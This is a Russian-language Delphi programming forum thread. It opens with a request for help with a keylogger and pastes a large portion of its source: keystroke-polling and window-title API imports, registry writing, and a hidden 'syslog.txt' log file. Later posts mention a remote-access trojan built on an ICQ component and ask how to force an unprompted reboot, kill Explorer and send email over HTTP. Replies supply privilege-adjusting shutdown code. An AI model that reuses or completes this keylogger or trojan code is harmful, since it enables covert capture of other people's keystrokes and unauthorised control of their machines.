Вот решил разобратьсяв коде кейлогера взят из этой темы(последний пост): ССЫЛКА и возник один вопрос: как сделать так, чтобы файл, в который записывается лог клавиш был доступен для чтения, а то все мои попытки не увенчались успехом (нужно чтобы была возможность считывать в стринговом формате)?Вот отрывок кода: Code: type UINT=Cardinal; DWORD=Cardinal; SHORT=SmallInt; HKL = LongWord; HKEY = type LongWord; THandle = Cardinal; HWND=Cardinal; BOOL = Boolean; _SYSTEMTIME = record wYear: Word; wMonth: Word; wDayOfWeek: Word; wDay: Word; wHour: Word; wMinute: Word; wSecond: Word; wMilliseconds: Word; end; TSystemTime = _SYSTEMTIME; MMRESULT = UINT; TOverLapped = record Internal: LongWord; InternalHigh: LongWord; Offset: LongWord; OffsetHigh: LongWord; hEvent: LongWord; end; TSecurityAttributes = record nLength: LongWord; lpSecurityDescriptor: Pointer; bInheritHandle: LongBool; end; POverlapped = ^TOverlapped; PSecurityAttributes = ^TSecurityAttributes; TFNTimeCallBack = procedure(uTimerID, uMessage: UINT; dwUser, dw1, dw2: DWORD) stdcall; var TIDA:Integer; TID:Integer; loggern:pchar; wintext:array[0..144]of char; _temp:^cardinal; wrote:longWord; buffer:array[0..40000] of char; FH:THandle; acWindow:HWND; path:string; function MakeWord(A, B: Byte): Word; begin Result := A or B shl 8; end; function RegCreateKey(hKey: HKEY; lpSubKey: PChar; var phkResult: HKEY): Longint; stdcall; external 'advapi32' name 'RegCreateKeyA'; function RegSetValueEx(hKey: HKEY; lpValueName: PChar; Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external 'advapi32' name 'RegSetValueExA'; function RegCloseKey(hKey: HKEY): Longint; stdcall; external 'advapi32' name 'RegCloseKey'; function GetKeyboardLayout(dwLayout: DWORD): HKL; stdcall; external 'user32' name 'GetKeyboardLayout'; function GetWindowThreadProcessId(hWnd: HWND; lpdwProcessId: Pointer): DWORD; stdcall; external 'user32' name 'GetWindowThreadProcessId'; function GetForegroundWindow: HWND; stdcall; external 'user32' name 'GetForegroundWindow'; function GetAsyncKeyState(vKey: Integer): SHORT; stdcall; external 'user32' name 'GetAsyncKeyState'; function GetKeyState(nVirtKey: Integer): SHORT; stdcall; external 'user32' name 'GetKeyState'; function timeSetEvent(uDelay, uResolution: UINT; lpFunction: TFNTimeCallBack; dwUser: DWORD; uFlags: UINT): MMRESULT; stdcall; external 'winmm.dll' name 'timeSetEvent'; function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer; stdcall; external 'user32' name 'GetWindowTextA'; function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: LongWord; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: LongWord; hTemplateFile: LongWord): LongWord; stdcall; external 'kernel32.dll' name 'CreateFileA'; function SetFilePointer(hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: DWORD): DWORD; stdcall; external 'kernel32' name 'SetFilePointer'; function GetFileSize(hFile: THandle; lpFileSizeHigh: Pointer): DWORD; stdcall; external 'kernel32' name 'GetFileSize'; function WriteFile(hFile: LongWord; const Buffer; nNumberOfBytesToWrite: LongWord; var lpNumberOfBytesWritten: LongWord; lpOverlapped: POverlapped): LongBool; stdcall; external 'kernel32.dll' name 'WriteFile'; function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; stdcall; external 'kernel32' name 'SetFileAttributesA'; function CloseHandle(hObject: THandle): BOOL; stdcall; external 'kernel32' name 'CloseHandle'; function lstrlen(lpString: PChar): Integer; stdcall; external 'kernel32' name 'lstrlenA'; function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcpyA'; function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcatA'; function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external 'kernel32' name 'GetWindowsDirectoryA'; function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall; external 'kernel32' name 'GetTempPathA'; procedure Sleep(milliseconds: Cardinal); stdcall; external 'kernel32.dll' name 'Sleep'; procedure GetSystemTime(var lpSystemTime: TSystemTime); stdcall; external 'kernel32' name 'GetSystemTime'; //................... //................... path:='syslog.txt'; FH:=CreateFile(Pchar(path),$40000000,$00000002,nil,2,0,0); SetFileAttributes(Pchar(path),$00000002);
Dr.KoD http://msdn2.microsoft.com/en-us/library/aa363858(VS.85).aspx FH:=CreateFile(Pchar(path),$40000000,$00000002,nil ,2,0,0); лень разбираца но вроде какой то параметр отвечает за атрибут файла системный скрытый для чтения и т д dwFlagsAndAttributes HANDLE WINAPI CreateFile( __in LPCTSTR lpFileName, __in DWORD dwDesiredAccess, __in DWORD dwShareMode, __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes, __in DWORD dwCreationDisposition, __in DWORD dwFlagsAndAttributes, - вот это надо менять __in_opt HANDLE hTemplateFile Attribute Meaning FILE_ATTRIBUTE_ARCHIVE 32 0x20 The file should be archived. Applications use this attribute to mark files for backup or removal. FILE_ATTRIBUTE_ENCRYPTED 16384 0x4000 The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and subdirectories. For more information, see File Encryption. This flag has no effect if FILE_ATTRIBUTE_SYSTEM is also specified. FILE_ATTRIBUTE_HIDDEN 2 0x2 The file is hidden. Do not include it in an ordinary directory listing. FILE_ATTRIBUTE_NORMAL 128 0x80 The file does not have other attributes set. This attribute is valid only if used alone. FILE_ATTRIBUTE_OFFLINE 4096 0x1000 The data of a file is not immediately available. This attribute indicates that file data is physically moved to offline storage. This attribute is used by Remote Storage, the hierarchical storage management software. Applications should not arbitrarily change this attribute. FILE_ATTRIBUTE_READONLY 1 0x1 The file is read only. Applications can read the file, but cannot write to or delete it. FILE_ATTRIBUTE_SYSTEM 4 0x4 The file is part of or used exclusively by an operating system. FILE_ATTRIBUTE_TEMPORARY 256 0x100 The file is being used for temporary storage. File systems avoid writing data back to mass storage if sufficient cache memory is available, because an application deletes a temporary file after a handle is closed. In that case, the system can entirely avoid writing the data. Otherwise, the data is written after the handle is closed. ); вроде че то типо того или я непонял )
глюк с TICQClient а именно в использовании функции SetSelfInfoGeneral неменяет инфу ХЗ почему. Подключаюсь пытаюсь сменить инфу но увы, некаких ошибок невыдаёт мож кто уже сталкивался и знает как решить даную проблему! зарание благгодарен!
Дело, возможно, в том, что компонент писался ОЧЕНЬ давно, с тех пор на серверах Icq было много изменений. Например, старая версия крысы (созданная на базе именно этого компонента) у меня тоже инфу сохраняла некорректно. Тут можно только поискать более свежую версию компонента (хотя сам автор его забросил, есть альтернативные сборки).
версия самая свежая что на его саите, то что нашёл из альтернативных сборок тоже инфу неменяет... может есть какой другой способ? или имеються ссылки на рабочий компонент ?
Давно ничего подобного не писал. Но если ты качал с сайта кобанса то ничего удивительного - релиз действительно очень старый. Попробуй вот этот, исправленный и слегка дополненный.
1.Как на Vista программно вытащить сидиром? 2.Как на Vista программно перезагрузить комп, неспрашивая у пользователя?
так же как и в хп =), если я не ошибаюсь! 1. http://www.liveofpc.3dn.ru/publ/4-1-0-14 и 2. ShellExecute(0, "open", "cmd.exe", "shutdown -s", 0, SW_HIDE);// Исправил
2.Слово ShellExecute подчёркивается красным и показывает мне это: [DCC Error] Unit1.pas(51): E2003 Undeclared identifier: 'ShellExecute' [DCC Error] Project1.dpr(5): F2063 Could not compile used unit 'Unit1.pas' 3.Как вырубить Explorer ?
Если память не изменяет, для использования ShellExecute надо подключить модуль ShellApi. Можно заместо ShellExecute воспользоваться WinExec Что значит "вырубить Explorer"? О чем речь - браузер или проводник?
а как подключить модуль ShellApi? если можно поподробней Explorer - Тот что позволяет лазить по папкам, показывает значки на рабочем столе и тд
Я конечно извеняюсь за мой флуд, но может ли мне ктонебуть подсказать нармальный, рабочий код чтобы вырубить/или/перезагрузить винду??? Желательно на подобие этого: ShellExecute(0, 'open', 'cmd.exe', 'shutdown -s', 0, SW_HIDE); тока этот почемуто нехочет работать.
Code: function MyExitWindows(RebootParam: Longword): Boolean; var TTokenHd: THandle; TTokenPvg: TTokenPrivileges; cbtpPrevious: DWORD; rTTokenPvg: TTokenPrivileges; pcbtpPreviousRequired: DWORD; tpResult: Boolean; const SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; begin if Win32Platform = VER_PLATFORM_WIN32_NT then begin tpResult := OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHd); if tpResult then begin tpResult := LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME, TTokenPvg.Privileges[0].Luid); TTokenPvg.PrivilegeCount := 1; TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; cbtpPrevious := SizeOf(rTTokenPvg); pcbtpPreviousRequired := 0; if tpResult then Windows.AdjustTokenPrivileges(TTokenHd, False, TTokenPvg, cbtpPrevious, rTTokenPvg, pcbtpPreviousRequired); end; end; Result := ExitWindowsEx(RebootParam, 0); end; //Выключение procedure TForm1.Button18Click(Sender: TObject); begin MyExitWindows(EWX_POWEROFF or EWX_FORCE); end; //Перезагрузка procedure TForm1.Button19Click(Sender: TObject); begin MyExitWindows(EWX_REBOOT or EWX_FORCE); end; _http://lantricks.ru/lanshutdown/help.php _http://www.delphisources.ru/pages/faq/base/shutdown_computer_with_any_os.html _http://netler.ru/pc/shutdown.htm _http://forum.oszone.net/post-619178.html Можешь еще (велосипед ) автоматизировать на DELPHI: Создаешь .bat с параметрами - програмно, запускаешь, и удаляешь
отправка мыла средствами Delphi через HTTP подскажите как мона сделать отправку емайл сообщения желательно с аттачем через http из Delphi?
_http://rsdn.ru/article/qna/inet/email.xml ПОЧИТАЙ ТУТ ПОКА Прослушай запросы сниффером, idHTTP1 тебе в помощь!